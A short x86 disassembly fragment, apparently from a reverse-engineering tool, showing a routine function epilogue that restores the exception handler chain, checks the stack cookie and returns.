mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045b626
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret